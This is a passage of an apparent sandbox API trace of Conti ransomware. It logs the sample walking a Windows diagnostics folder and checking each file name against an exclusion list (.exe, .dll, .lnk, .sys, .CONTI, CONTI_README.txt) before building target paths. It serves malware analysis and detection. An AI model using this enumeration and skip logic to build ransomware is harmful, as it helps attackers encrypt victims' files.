	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpSrch=".dll") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpSrch=".lnk") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpSrch=".sys") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.072] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.072] lstrlenW (lpString="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml") returned 45
	[0105.072] GetProcessHeap () returned 0x1720000
	[0105.072] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cb440
	[0105.072] lstrcpyW (in: lpString1=0x17cb440, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.072] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.072] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"
	[0105.072] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", cAlternateFileName="03D1E1~2.XML")) returned 1
	[0105.072] lstrcmpiW (lpString1="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpString2=".") returned 1
	[0105.072] lstrcmpiW (lpString1="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpString2="..") returned 1
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.073] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.073] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.073] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.073] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.073] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.073] lstrlenW (lpString="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml") returned 49
	[0105.073] GetProcessHeap () returned 0x1720000
	[0105.073] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cd58
	[0105.073] lstrcpyW (in: lpString1=0x181cd58, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.073] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.073] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"
	[0105.073] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", cAlternateFileName="394B7B~1.XML")) returned 1
	[0105.073] lstrcmpiW (lpString1="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpString2=".") returned 1
	[0105.073] lstrcmpiW (lpString1="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpString2="..") returned 1
	[0105.073] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.073] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.073] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpSrch=".exe") returned 0x0
	[0105.073] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpSrch=".dll") returned 0x0
	[0105.073] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpSrch=".lnk") returned 0x0
	[0105.073] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpSrch=".sys") returned 0x0
	[0105.073] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.073] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.073] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.073] lstrlenW (lpString="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml") returned 45
	[0105.073] GetProcessHeap () returned 0x1720000
	[0105.073] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cbcd8
	[0105.073] lstrcpyW (in: lpString1=0x17cbcd8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.073] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.073] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"
	[0105.073] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", cAlternateFileName="394B7B~2.XML")) returned 1
	[0105.073] lstrcmpiW (lpString1="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpString2=".") returned 1
	[0105.073] lstrcmpiW (lpString1="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpString2="..") returned 1
	[0105.074] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.074] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.074] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.074] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.074] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.074] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.074] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.074] StrStrIW (lpFirst="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.074] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.074] lstrlenW (lpString="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml") returned 49
	[0105.074] GetProcessHeap () returned 0x1720000
	[0105.074] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cfc8
	[0105.074] lstrcpyW (in: lpString1=0x181cfc8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.074] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.074] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"
	[0105.074] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", cAlternateFileName="75EF5B~1.XML")) returned 1
	[0105.074] lstrcmpiW (lpString1="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpString2=".") returned 1
	[0105.074] lstrcmpiW (lpString1="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpString2="..") returned 1
	[0105.074] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.074] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.074] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpSrch=".exe") returned 0x0
	[0105.074] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpSrch=".dll") returned 0x0
	[0105.074] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpSrch=".lnk") returned 0x0
	[0105.074] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpSrch=".sys") returned 0x0
	[0105.074] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.074] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.074] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.074] lstrlenW (lpString="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml") returned 45
	[0105.074] GetProcessHeap () returned 0x1720000
	[0105.074] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cc0c0
	[0105.074] lstrcpyW (in: lpString1=0x17cc0c0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.074] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.074] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"
	[0105.074] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", cAlternateFileName="75EF5B~2.XML")) returned 1
	[0105.075] lstrcmpiW (lpString1="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpString2=".") returned 1
	[0105.075] lstrcmpiW (lpString1="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpString2="..") returned 1
	[0105.075] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.075] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.075] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.075] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.075] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.075] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.075] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.075] StrStrIW (lpFirst="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.075] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.075] lstrlenW (lpString="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml") returned 49
	[0105.075] GetProcessHeap () returned 0x1720000
	[0105.075] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cef8
	[0105.075] lstrcpyW (in: lpString1=0x181cef8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.075] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.075] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"
	[0105.075] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", cAlternateFileName="9984EC~1.XML")) returned 1
	[0105.075] lstrcmpiW (lpString1="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpString2=".") returned 1
	[0105.075] lstrcmpiW (lpString1="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpString2="..") returned 1
	[0105.075] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.075] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.075] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpSrch=".exe") returned 0x0
	[0105.075] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpSrch=".dll") returned 0x0
	[0105.075] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpSrch=".lnk") returned 0x0
	[0105.075] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpSrch=".sys") returned 0x0
	[0105.075] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.075] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.075] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.075] lstrlenW (lpString="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml") returned 45
	[0105.075] GetProcessHeap () returned 0x1720000
	[0105.075] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cb760
	[0105.076] lstrcpyW (in: lpString1=0x17cb760, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.076] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.076] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"
	[0105.076] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", cAlternateFileName="9984EC~2.XML")) returned 1
	[0105.076] lstrcmpiW (lpString1="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpString2=".") returned 1
	[0105.076] lstrcmpiW (lpString1="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpString2="..") returned 1
	[0105.076] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.076] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.076] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.076] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.076] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.076] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.076] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.076] StrStrIW (lpFirst="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.076] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.076] lstrlenW (lpString="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml") returned 49
	[0105.076] GetProcessHeap () returned 0x1720000
	[0105.076] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cbb8
	[0105.076] lstrcpyW (in: lpString1=0x181cbb8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.076] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.076] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"
	[0105.076] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", cAlternateFileName="ACAE42~1.XML")) returned 1
	[0105.076] lstrcmpiW (lpString1="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpString2=".") returned 1
	[0105.076] lstrcmpiW (lpString1="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpString2="..") returned 1
	[0105.076] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.076] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.076] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpSrch=".exe") returned 0x0
	[0105.076] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpSrch=".dll") returned 0x0
	[0105.076] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpSrch=".lnk") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpSrch=".sys") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.077] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.077] lstrlenW (lpString="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml") returned 45
	[0105.077] GetProcessHeap () returned 0x1720000
